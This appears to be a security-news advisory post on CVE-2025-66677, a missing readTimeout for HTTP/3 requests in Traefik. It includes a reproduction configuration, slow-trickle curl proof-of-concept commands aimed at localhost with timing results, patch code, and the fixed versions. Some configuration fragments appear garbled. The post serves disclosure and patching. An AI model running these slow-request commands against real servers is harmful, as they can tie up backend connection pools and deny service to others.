Listen to this Post
CVE-2025-66677 affects Traefik HTTP/3 request handling.
The respondingTimeouts.readTimeout setting is documented for incoming requests.
It is meant to cap the entire request read, including the body.
The default is 60 seconds.
It is enabled by default.
It works over HTTP/1.1.
It works over HTTP/2.
It has no effect over HTTP/3.
HTTP/3 uses QUIC streams instead of TCP connections.
Traefik applies readTimeout as a TCP connection deadline.
A TCP deadline cannot reach a QUIC stream.
The HTTP/3 server is constructed with no timeout.
It reuses the HTTPS server handler.
It inherits none of the HTTPS server timeouts.
There is no duration control on the HTTP/3 request path.
A client can trickle one body byte every few seconds.
The request remains open indefinitely.
Each held request pins one upstream connection.
The backend connection stays occupied.
The client cost is negligible.
The client can open many requests.
Backends with bounded connection pools are pressured.
The regression began in Traefik v2.8.2.
A quic-go API change removed the embedded http.Server.
Releases before v2.8.2 are not affected.
Traefik v2.8.2 through v2.10.x are affected.
Traefik v3.0 through v3.6 are affected.
Those release lines are no longer maintained.
Users must upgrade to v2.11.56 or v3.7.12.
Traefik DEBUG logs still print the loaded readTimeout.
DailyCVE Form:
Platform: Traefik HTTP/3
Version: v2.8.2-v3.6 affected
Vulnerability: Missing readTimeout
Severity: Medium
date: Not provided
Prediction: v3.7.12 released
What Undercode Say:
Analytics:
bash reproduce.sh MODE=default bash reproduce.sh
global: checkNewVersion: false sendAnonymousUsage: false log: level: DEBUG entryPoints: websecure: address: ":8443" http3: advertisedPort: 8443 providers: file: filename: conf/dynamic.yml api: dashboard: false
http:
routers:
backend-router:
rule: "PathPrefix(<code>/</code>)"
service: backend-svc
entryPoints: [bash]
tls: {}
services:
backend-svc:
loadBalancer:
servers:
- url: "http://127.0.0.1:8080"
tls:
certificates:
- certFile: cert.pem
keyFile: key.pem
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 30 -nodes \ -subj "/CN=localhost" -addext "subjectAltName=DNS:localhost,IP:127.0.0.1"
python3 backend.py 8080 & ./traefik --configFile=conf/traefik.yml
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http1.1 https://localhost:8443/
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http3-only https://localhost:8443/
if e.transportConfiguration.RespondingTimeouts.ReadTimeout > 0 {
err := writeCloser.SetReadDeadline(time.Now().Add(time.Duration(e.transportConfiguration.RespondingTimeouts.ReadTimeout)))
h3.Server = &http3.Server{
Addr: config.GetAddress(),
Port: config.HTTP3.AdvertisedPort,
Handler: httpsServer.Server.(http.Server).Handler,
TLSConfig: &tls.Config{GetConfigForClient: h3.getTLSConfigForClient},
QUICConfig: &quic.Config{
Allow0RTT: false,
},
ConnContext: func(ctx context.Context, c quic.Conn) context.Context {
pkg/server/server_entrypoint_tcp.go:273 pkg/server/server_entrypoint_tcp_http3.go:65
https://github.com/traefik/traefik/commit/a8d0bc425859dde7481a6c9a324e610b81d754d0 https://github.com/traefik/traefik/releases/tag/v2.11.56 https://github.com/traefik/traefik/releases/tag/v3.7.12
Exploit: (Educational Purposes!)
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http3-only https://localhost:8443/
{ for i in $(seq 1 23); do printf 'x'; sleep 4; done; } | \
curl -v -k -T - --http1.1 https://localhost:8443/
HTTP/3: 92.94 s held for entire window. HTTP/3: no RST_STREAM. HTTP/3: no H3_REQUEST_INCOMPLETE. HTTP/3: no connection close. HTTP/1.1: released at documented default. HTTP/1.1: returned 499 on aborted arm.
Protection: from this CVE
upgrade: v2.11.56 v3.7.12
if readTimeout > 0 && r.ProtoMajor == 3 && r.Body != nil {
r.Body = deadlineBody(r.Body, readTimeout)
}
Close request body cancels QUIC stream read. http3 body Close() calls str.CancelRead(...). Return os.ErrDeadlineExceeded from wrapped Read. Document readTimeout protocol qualification. Correct SECURITY.md supported-versions table.
Impact:
Each held request occupies one upstream connection. Client cost is negligible. Client can open many requests. Backends with bounded connection pools are practical pressure point.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
